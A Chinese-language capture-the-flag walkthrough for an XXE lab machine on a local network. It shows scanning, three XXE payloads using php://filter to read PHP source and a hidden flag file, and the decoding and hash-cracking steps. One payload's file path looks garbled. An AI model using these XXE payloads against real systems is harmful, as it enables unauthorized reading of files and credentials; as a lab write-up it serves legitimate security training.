前期准备
1.安装靶机
2.打开kali虚拟机
扫描网段
arp-scan -l
得到靶机ip:192.168.164.143,浏览器访问
出现此页面说明靶场安装成功
使用御剑后台扫描工具扫描靶机ip
得到一个 robots.txt 文件,尝试访问
分别访问这两个目录
http://192.168.164.143/admin.php
访问失败,尝试访问另一个
http://192.168.164.143/xxe/
出现一个登录页面,输入任意 Name 和 Psaaword ,使用bp抓取登录数据包
发送到重放器进行页面渲染
发现 name 位置为回显位,我们可以构造xxe攻击,具体操作如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=admin.php" > ]>
<root>
<name>
&xxe;
</name>
<password>
1
</password>
</root>
复制右边的一串数据,进行一次base64解码
这样我们就能在解码后的php代码中找到 username 和 password
其中的密码需要根据提示进行md5解密,解密后得到密码为:admin@123
尝试访问
http://192.168.164.143/xxe/admin.php
得到一个登录页面,使用前面的账号密码登录
点击Flag,又能得到一个php文件
再次读取该文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flagmeout.php" > ]>
<root>
<name>
&xxe;
</name>
<password>
1
</password>
</root>
复制右边的一串数据,进行一次base64解码
根据得到的php代码可知flag的位置,复制括号中的内容进行一次base64解码
解析失败,尝试进行base32解码
把再次得到的内容进行一次base64解码
我们可以得到一个存放flag的目录,再次读取该文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/.flag.phpfile:///etc/.flag.php" > ]>
<root>
<name>
&xxe;
</name>
<password>
1
</password>
</root>
得到一串乱码,在自己的网站根目录(www)下新建一个php文件,将这一串乱码复制到其中
注意:乱码复制到 1.php 中时要添加php格式
浏览器访问该文件,就能得到flag